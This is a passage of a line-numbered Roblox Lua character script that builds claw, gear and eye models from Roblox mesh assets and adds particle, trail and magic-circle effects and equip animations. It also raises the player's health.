  2933. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2934. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2935. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2936. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2937. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2938. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2939. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2940. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2941.  
  2942. local modelzorzz2=Instance.new("Model")
  2943. modelzorzz2.Parent=Character
  2944. modelzorzz2.Name="Claw2"
  2945.  
  2946. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2947. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2948. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2949. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2950. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2951. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2952. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2953. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2954. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2955. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2956. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2957. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2958. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2959. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2960. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2962. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2963. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2964. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2965. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2966. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2967. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2968. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2969. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2970. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2971. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2972. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2973. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2974. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2975. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2976. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2977. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2978. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2979. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2980. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2981. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2982. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2983. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2984. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2985. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2986. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2987.  
  2988. local modelzorzz3=Instance.new("Model")
  2989. modelzorzz3.Parent=Character
  2990. modelzorzz3.Name="Eye"
  2991.  
  2992. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2993. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2994. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2995. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2996. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2997. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2998. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2999. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3000. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  3001. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3002. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3003. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3004. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3005. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3006. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3007. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3008. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3009. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3010. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3011. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3012. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3013. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3014. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3015.  
  3016. p = game.Players.LocalPlayer
  3017. char = p.Character
  3018. torso = char.Torso
  3019. neck = char.Torso.Neck
  3020. hum = char.Humanoid
  3021. hum.MaxHealth = 1527500
  3022. wait()
  3023. hum.Health =hum.MaxHealth
  3024.  
  3025. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3026. particleemitter.VelocitySpread = 180
  3027. particleemitter.Lifetime = NumberRange.new(0.1)
  3028. particleemitter.Speed = NumberRange.new(2)
  3029. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3030. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3031. particleemitter.Rate = 100
  3032. particleemitter.Rotation = NumberRange.new(-45, 45)
  3033. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3034. particleemitter.LightEmission = 0.8
  3035. particleemitter.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(0, 0, 0))
  3036.  
  3037. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3038. particleemitter.VelocitySpread = 180
  3039. particleemitter.Lifetime = NumberRange.new(0.1)
  3040. particleemitter.Speed = NumberRange.new(2)
  3041. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3042. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3043. particleemitter.Rate = 100
  3044. particleemitter.Rotation = NumberRange.new(-45, 45)
  3045. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3046. particleemitter.LightEmission = 0.8
  3047. particleemitter.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(0, 0, 0))
  3048.  
  3049. local particleemitter = Instance.new("ParticleEmitter", handle)
  3050. particleemitter.VelocitySpread = 180
  3051. particleemitter.Lifetime = NumberRange.new(0.1)
  3052. particleemitter.Speed = NumberRange.new(2)
  3053. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3054. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3055. particleemitter.Rate = 100
  3056. particleemitter.Rotation = NumberRange.new(-45, 45)
  3057. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3058. particleemitter.LightEmission = 0.8
  3059. particleemitter.Color = ColorSequence.new(Color3.new(1, 0,0), Color3.new(0, 0, 0))
  3060.  
  3061. particleemitter.Enabled = true
  3062. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3063. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3064. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3065. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3066. for i=0,1,0.005 do
  3067. swait()
  3068. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3069. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3070. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3071. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3072. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3073. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3074. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3075. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3076. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3077. end
  3078. for i=0,1,0.04 do
  3079. swait()
  3080. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3081. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3082. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3083. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3084. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3085. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3086. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3087. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3088. end
  3089. attack = false
  3090. end
  3091. end
  3092. end)
  3093.  
  3094. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3095. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3096. prt.Anchored=true
  3097. prt.CFrame=cframe
  3098. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3099. game:GetService("Debris"):AddItem(prt,2)
  3100. coroutine.resume(coroutine.create(function(Part,Mesh)
  3101. for i=0,1,delay do
  3102. wait()
  3103. Part.CFrame=Part.CFrame
  3104. Part.Transparency=i
  3105. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3106. end
  3107. Part.Parent=nil
  3108. end),prt,msh)
  3109. end
  3110.  
  3111. TrailDeb = false
  3112.  
  3113. function equipanim()
  3114. attack=true
  3115. Humanoid.WalkSpeed = 0
  3116. if TrailDeb == false then
  3117. TrailDeb = true
  3118. end
  3119.  
  3120.  
  3121. coroutine.wrap(function()
  3122. local Old = handle.CFrame.p
  3123. while wait()do
  3124. if not TrailDeb then break end
  3125. local New = handle.CFrame.p
  3126. local Mag =(Old -New).magnitude
  3127. local Dis =(Old +New)/2
  3128. local Trail = Instance.new("Part",Character)
  3129. Trail.Material = "Neon"
  3130. Trail.Anchored = true
  3131. Trail.CanCollide = false
  3132. Trail.BrickColor = TorsoColor
  3133. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3134. Trail.TopSurface = 0
  3135. Trail.BottomSurface = 0
  3136. Trail.formFactor = "Custom"
  3137. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3138. local ms = Instance.new("BlockMesh",Trail)
  3139. ms.Scale = Vector3.new(1,1,1)
  3140. local TM = Instance.new("CylinderMesh",Trail)
  3141. TM.Scale = Vector3.new(1,1,1)
  3142. Old = New
  3143. coroutine.wrap(function()
  3144. for i = 1,0,-0.1 do
  3145. wait()
  3146. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3147. end
  3148. Trail:remove()
  3149. end)()
  3150. coroutine.wrap(function()
  3151. for i = 1,10 do
  3152. wait()
  3153. Trail.Transparency = Trail.Transparency +0.1
  3154. end end)()end end)()
  3155. coroutine.wrap(function()
  3156. local Old = Handle.CFrame.p
  3157. while wait()do
  3158. if not TrailDeb then break end
  3159. local New = Handle.CFrame.p
  3160. local Mag =(Old -New).magnitude
  3161. local Dis =(Old +New)/2
  3162. local Trail = Instance.new("Part",Character)
  3163. Trail.Material = "Neon"
  3164. Trail.Anchored = true
  3165. Trail.CanCollide = false
  3166. Trail.BrickColor = TorsoColor
  3167. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3168. Trail.TopSurface = 0
  3169. Trail.BottomSurface = 0
  3170. Trail.formFactor = "Custom"
  3171. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3172. local ms = Instance.new("BlockMesh",Trail)
  3173. ms.Scale = Vector3.new(1,1,1)
  3174. local TM = Instance.new("CylinderMesh",Trail)
  3175. TM.Scale = Vector3.new(1,1,1)
  3176. Old = New
  3177. coroutine.wrap(function()
  3178. for i = 1,0,-0.1 do
  3179. wait()
  3180. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3181. end
  3182. Trail:remove()
  3183. end)()
  3184. coroutine.wrap(function()
  3185. for i = 1,10 do
  3186. wait()
  3187. Trail.Transparency = Trail.Transparency +0.1
  3188. end end)()end end)()
  3189. coroutine.wrap(function()
  3190. local Old = Handle2.CFrame.p
  3191. while wait()do
  3192. if not TrailDeb then break end
  3193. local New = Handle2.CFrame.p
  3194. local Mag =(Old -New).magnitude
  3195. local Dis =(Old +New)/2
  3196. local Trail = Instance.new("Part",Character)
  3197. Trail.Material = "Neon"
  3198. Trail.Anchored = true
  3199. Trail.CanCollide = false
  3200. Trail.BrickColor = TorsoColor
  3201. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3202. Trail.TopSurface = 0
  3203. Trail.BottomSurface = 0
  3204. Trail.formFactor = "Custom"
  3205. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3206. local ms = Instance.new("BlockMesh",Trail)
  3207. ms.Scale = Vector3.new(1,1,1)
  3208. local TM = Instance.new("CylinderMesh",Trail)
  3209. TM.Scale = Vector3.new(1,1,1)
  3210. Old = New
  3211. coroutine.wrap(function()
  3212. for i = 1,0,-0.1 do
  3213. wait()
  3214. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3215. end
  3216. Trail:remove()
  3217. end)()
  3218. coroutine.wrap(function()
  3219. for i = 1,10 do
  3220. wait()
  3221. Trail.Transparency = Trail.Transparency +0.1
  3222. end end)()end end)()
  3223. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3224. for i=0,1,0.005 do
  3225. swait()
  3226. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3227. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3228. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3229. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3230. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3231. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3232. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3233. end
  3234. for i=0,1,0.005 do
  3235. swait()
  3236. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3237. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3238. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3239. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3240. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3241. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3242. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3243. end
  3244. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3245. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3246. for i=0,1,0.005 do
  3247. swait()
  3248. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3249. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3250. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3251. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3252. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3253. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3254. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3255. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
